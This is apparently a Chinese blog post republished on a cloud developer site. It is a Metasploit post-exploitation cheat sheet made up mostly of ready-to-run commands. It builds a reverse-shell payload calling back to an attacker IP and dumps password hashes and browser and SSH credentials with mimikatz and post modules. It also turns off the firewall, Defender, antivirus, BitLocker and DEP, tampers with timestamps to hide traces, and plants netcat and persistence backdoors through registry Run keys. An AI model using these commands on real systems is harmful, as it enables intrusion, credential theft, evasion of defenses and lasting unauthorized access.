前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >上线Metasploit后该干啥?

上线Metasploit后该干啥?

作者头像
网络安全自修室
发布2021-11-25 14:31:07
3890
发布2021-11-25 14:31:07
举报
文章被收录于专栏:网络安全自修室

后渗透阶段是对已经获得目标操作系统控制权后扩大战果

首先构造一个payload

代码语言:javascript
复制
 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o 1.exe

已经找到一台机器执行了我的payload

进一步获取更高的权限。

基本信息查看

查看系统信息

sysinfo

查看用户权限

getuid

查看网络环境

run get_local_subnets

查看内核

uname -a

查看版本

cat /etc/issue

信息搜集模块

一些常用的post模块 1.判断目标机是否为虚拟机

代码语言:javascript
复制
 run post/windows/gather/checkvm

2.查看目标主机的账号和token

代码语言:javascript
复制
 run post/windows/gather/credentials/credential_collector

3.查看目标机的安装软件

代码语言:javascript
复制
 run post/windows/gather/enum_applications

4.本地提权测试模块

假如拿到的权限并不是管理员系统权限,又不知道是否存在本地提权的漏洞,就可以选择如下模块进行测试

代码语言:javascript
复制
run post/multi/recon/local_exploit_suggester

它会自动将所有的可以测试的本地提权的漏洞走一遍,然后将可行的罗列出来。

5.查看最近打开的文件

代码语言:javascript
复制
run post/windows/gather/dumplinks

6.查看关于火狐浏览器登陆的web appliaction 账号密码

假设目标系统安装了火狐浏览器,并将账号密码设置为保存在浏览器中

代码语言:javascript
复制
run post/multi/gather/firefox_creds

7.ssh保存账号查看

代码语言:javascript
复制
 run post/multi/gather/ssh_creds

8.检测系统上的一个程序是否为恶意软件 例如:

代码语言:javascript
复制
 run post/multi/gather/check_malware REMOTEFILE=c:\\a.exe

9.收集系统上的密码hash(需要管理员权限)

代码语言:javascript
复制
run post/windows/gather/smart_hashdump

10.查看目标机登录的用户

代码语言:javascript
复制
run post/windows/gather/enum_logged_on_users

11.收集目标机登录的凭据

代码语言:javascript
复制
run post/windows/gather/credentials/credential_collector

12.查看目标机分区情况

代码语言:javascript
复制
run post/windows/gather/forensics/enum_drives

13.获取浏览器缓存文件

代码语言:javascript
复制
run post/windows/gather/enum_ie

信息搜集脚本

将会把收集的目标机器信息下载到本地

代码语言:javascript
复制
run winneum

run scraper

常规操作

需要查看更多命令操作,可查看文章资料[1]

获取system权限
代码语言:javascript
复制
getsystem
获取用户密码hash

用来获取系统账户的用户名和密码的哈希值

代码语言:javascript
复制
hashdump
获取机器在线时间
代码语言:javascript
复制
idletime

目标主机文件搜索

search命令

例如搜索主机的全部.ini文件

代码语言:javascript
复制
 search -f *.ini

搜索整台计算机可能需要很长时间,并且观察用户可能会注意到他们的硬盘不断颠簸,所以在指定的目录下搜索。 例如:

代码语言:javascript
复制
search -d c:\\documents\ and\ settings\\administrator\\desktop\\ -f *.pdf
Mimikatz 扩展

需要获得system权限

代码语言:javascript
复制
load mimikatz 

load的新命令如下:
 wdigest 
 kerberos
 msv
 ssp
 tspkg
 ivessp

上面的这些都和系统的账号有关系 mimikatz_command -f 无法获取帮助,却能从报错信息中获取使用方法

查看系统运行服务

代码语言:javascript
复制
mimikatz_command -f service::list

查看系统进程

代码语言:javascript
复制
 mimikatz_command -f process::list

可以通过报错获取更多命令提示

关闭防火墙

前提:已经通过漏洞拿到了目标主机的管理员权限的shell.

使用如下命令关闭防火墙

代码语言:javascript
复制
shell

netsh advfirewall set allprofiles state off

查看一下,关闭成功

进一步结束Windefend

代码语言:javascript
复制
 net stop windefend  //netstop 用来结束windows的服务

在windows下查看服务情况 win+r 运行services.msc

添加一条防火墙策略

首先进入命令提示符

代码语言:javascript
复制
execute -f cmd -i -H   //隐蔽的方式打开shell

查看防火墙的状态

代码语言:javascript
复制
netsh firewall show opmode

增加一条允许策略

代码语言:javascript
复制
 netsh firewall add portopening TCP 4444 "test" ENABLE ALL 
  //关于名称test可以设置为一个具有隐蔽性的名称,可以从防火墙的策略中摘取名称,
  达到掩饰目的
杀死防病毒软件

在meterpreter的命令符下输入

代码语言:javascript
复制
Run killav

也可以直接使用post模块

代码语言:javascript
复制
run post/windows/manage/killav
开启远程桌面服务
代码语言:javascript
复制
 run post/windows/manage/enable_rdp
使用已存脚本

开启远程桌面服务

代码语言:javascript
复制
 run getgui –e

添加远程桌面用户和密码

代码语言:javascript
复制
 run getgui -u user -p pass
抓取屏幕
代码语言:javascript
复制
 screenshot

或者使用插件

代码语言:javascript
复制
load espia  //加载插件
screengrab //截取屏幕
注册表操作

注册表

例如: 已经拿到了目标主机的merterpreter的权限,我们通过修改注册表,使得每次目标主机开机的时候都会运行我们上传到目标主机的nc.exe,方便对目标主机进行监控。 1.上传nc.exe到目标主机

代码语言:javascript
复制
 upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32   //传送到了系统目录下

2.查看注册表中默认跟随主机启动的内容

代码语言:javascript
复制
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run  //reg 是merterpreter中专门查看修改注册表的命令

3.添加一个键值

代码语言:javascript
复制
 reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'   
 //setval参数为添加或者修改某个键值
 // -Ldp L参数为侦听,d表示在后台,p表示为端口
 // 合起来就是在注册表的未知添加键值,内容是执行目录下的nc.exe,后台打开cmd.exe,监听444端口,等待连接。

执行成功后查看插入成功。

也可以用如下命令

代码语言:javascript
复制
 reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
 // queryval为查询

其他注册表选项[2]

磁盘加密

Bitlocker 磁盘加密,有的电脑的加密文件是被加密封存,Bitlocker加密就是一种,集成在 windows系统软件系统中。

关掉目标主机的磁盘加密:

代码语言:javascript
复制
 manage-bde -off C:

查看磁盘加密状态:

代码语言:javascript
复制
manage-bde -status C:
关闭DEP

DEP是一种基于硬件的防护cpu防护技术。关闭DEPk可以容易的攻破敌方的防御。 可以使用如下命令

代码语言:javascript
复制
 bcdedit.exe /set {current} nx AlwaysOff

文件访问时间修改

在对目标系统文件进行操作的时候,会留下关于文件操作的时间,包含创建时间,修改时间,改变时间顾名思义,系统管理员可以通过这三个时间的信息来查看文件是否被改变,何时改变,判断系统是否被入侵。

对于渗透测试,当然希望能够将改动的痕迹抹除。 可以用stat - 文件名来查看文件时间的详细信息。

Timestomp Timestomp 是merterpreter 查看修改文件改动时间的命令。 查看文件的具体时间

代码语言:javascript
复制
 timestomp -v 1.txt

相比于stat命令,多了Entry Modified: 2020-07-22 22:51:39 -0400

将一个文件的MAC时间改为按照另一个文件的MAC时间复制

代码语言:javascript
复制
 timestomp -f c:\\autoexec.bat 1.txt

时间具体修改参数

代码语言:javascript
复制
 -m  //修改Modified时间
 -a   //修改Accessed时间
 -c  //修改Created 时间
 -e  //修改 Entry Modified时间
 -z  //四个时间全部修改

例如:

代码语言:javascript
复制
 timestomp -z "MM/DD/YYYY HH24:MI:SS"  2.txt
AutoRunScript

一般情况下,payLoad都有高级参数,里面存在一个advanced的高级选项。

可以看到有一个 AutoRunScript 参数,这个参数就是在执行payload后,立刻执行脚本。

例如:set AutoRunScript migrate -n explorer.exe 这个语句的意思就是一旦拿到shell,立刻将进程迁移到explorer.exe中,避免注入的有毒exe被杀死后,shell丢失。

或者其他脚本,例如,立刻查看目标主机最近打开的文件

代码语言:javascript
复制
set AutoRunScript post/windows/gather/dumplinks

如果先后有执行顺序的两个脚本,可以在InitialAutoRunScript选项内添加一个最先执行的脚本。

修改hosts文件

代码语言:javascript
复制
run hostsedit -e 1.1.1.1,www.baidu.com

持久后门

metsvc
代码语言:javascript
复制
 run metsvc -A       //   删除 -r

这个命令直接会生成系统的进程,名称为metsvc.exe,监听31337端口 并且开机会自己启动,但是缺点就是端口不能自己配置,上传的exe文件也不能更改名称。

连接后门

代码语言:javascript
复制
 set PAYLOAD windows/metsvc_bind_tcp 
 set LPORT 31337 
 set RHOST 1.1.1.1

卡了好久都没拿到shell,这个模块估计是不宰维护了

persistence

查看一下参数的配置项

代码语言:javascript
复制
-A 默认的连接方式为exploit/multi/handler
-S  作为一个系统服务进程工作在系统上
-X 自动执行当系统开机
-i 延迟时间,当服务运行后隔n秒执行回连
-p 端口
-r 回连的ip地址,也就是kali的地址

示例:

代码语言:javascript
复制
 run persistence -X -i 10 -p 4444 -r 1.1.1.1 
 run persistence -U -i 20 -p 4444 -r 1.1.1.1 
 run persistence -S -i 20 -p 4444 -r 1.1.1.1

参考资料

[1]常规操作详细:: "https://blog.csdn.net/Yu_csdnstory/article/details/107441171"

[2]其他注册表详情: https://support.accessdata.com/hc/en-us/articles/204448155-Registry-Quick-Find-Chart

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-09-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基本信息查看
  • 信息搜集模块
    • 信息搜集脚本
      • 获取system权限
      • 获取用户密码hash
      • 获取机器在线时间
      • Mimikatz 扩展
      • 关闭防火墙
      • 添加一条防火墙策略
      • 杀死防病毒软件
      • 开启远程桌面服务
      • 使用已存脚本
      • 抓取屏幕
      • 注册表操作
      • 关闭DEP
      • AutoRunScript
  • 常规操作
  • 目标主机文件搜索
  • 磁盘加密
  • 文件访问时间修改
  • 持久后门
    • 参考资料
    相关产品与服务
    网站渗透测试
    网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档